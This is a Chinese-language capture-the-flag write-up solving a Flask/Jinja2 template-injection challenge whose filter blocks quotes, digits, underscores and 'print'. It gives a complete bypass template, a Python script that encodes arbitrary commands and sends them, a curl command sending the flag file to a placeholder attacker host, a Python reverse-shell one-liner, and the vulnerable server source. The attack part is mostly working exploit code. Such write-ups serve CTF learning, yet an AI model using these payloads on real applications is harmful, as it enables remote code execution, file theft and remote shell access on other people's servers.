Werkzeug/1.0.1Python/3.8.7
不搞看源码 EXP了,哈哈
看别人说好像过滤了 print
,翻了一下手册,好像没有替代函数了。
尝试通过反弹 shell 的方式直接获取吧~
先试试执行 curl
命令回显
参考 yu22x 师傅写的模板和脚本(因为使用过程中发现有bug, system
-> sBstem
,即当 ascii 码是三位数时,前两位大于 11 会出现这种情况,所以修改了一下),又因 eval
对于执行多行代码不方便,因为换成 exec
函数,这里直接写成脚本,不用复制来复制去。。模板如下
/?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set a=(()|select|string|list).pop((ccc~ccccc)|int)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=
%}
{%if x.eval(cmd)%}
{%endif%}
PS 这里的 {% if %}{% endif %} 不能没有哈,因为是控制定界符,不能直接运行语句,否则后端会报错,或者换成其他语句和函数包裹住也行。不能单单 x.eval(cmd)
脚本如下,只要替换 url
和 cmd
即可
import requests
url = "http://44d624d7-7c45-4e23-9f39-d6d1c62589ec.challenge.ctf.show:8080"
cmd = 'import os;os.system("curl http://xxx:2233/`cat /flag`")'
def trans_to_placeholder(int_str):
int_placeholder = list(map(lambda x: (int(x) + 1) * 'c', int_str))
return '(' + '~'.join(int_placeholder) + ')|int'
def c_chr(s):
placeholder_list = ['chr(' + trans_to_placeholder(str(ord(c))) + ')' for c in s]
return '~'.join(placeholder_list)
payload = """/?name=
{% set c=(t|count)%}
{% set cc=(dict(e=a)|join|count)%}
{% set ccc=(dict(ee=a)|join|count)%}
{% set cccc=(dict(eee=a)|join|count)%}
{% set ccccc=(dict(eeee=a)|join|count)%}
{% set cccccc=(dict(eeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set coun=(ccc~ccccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=""" + c_chr(cmd) + """ %}
{%if x.exec(cmd)%}
{%endif%}"""
print(url + payload)
# 请求
req = requests.get(url + payload)
print(req.text)
运行一下脚本即可
当然细心的同学发现 flag 少了 {
和 }
,应该 HTTP 协议把 {
和 }
给搞掉了,最好编码一下在传输。
比如 cmd
换成
cmd = 'import os;os.system("curl http://xxx:2233/`cat /flag|base64`")'
解释一下这里的数字问题(即上面模板的前面 10 行 c
),比如命令中特殊字符较多,或者它的 ascii 码比较大(system
中的 y
),下面这样肯定不够优雅(需要把用到的数字都写出来。。):
{% set cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
{% set cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%}
所以可以考虑字符拼接,比如 60
可以转换为 int('6' + '0')
{% set ccccccc=(dict(eeeeee=a)|join|count)%}
{% set c=(t|count)%}
{% set coun=(ccccccc~c)|int%}
{{coun}}
这样可以输出 60
,所以只要把 0-9
列出,就可以拼接任意数字啦~
试试反弹 shell (cmd
换成下面即可,换下 IP
和 端口
(下面写了 2233
,随意换)
cmd = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP地址",2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
用原生的不关系统环境依赖,比较舒服,2333
当然还要白嫖一波源码
from flask import Flask
from flask import request
from flask import render_template_string
from flask import session
import re
app = Flask(__name__)
@app.route('/')
def app_index():
name = request.args.get('name')
if name:
if re.search(r"\'|\"|args|\[|\_|os|\{\{|request|[0-9]|print",name,re.I):
return ':('
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Hello</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('name'))
return render_template_string(template)
if __name__=="__main__":
app.run(host='0.0.0.0',port=80)
果然是过滤了 print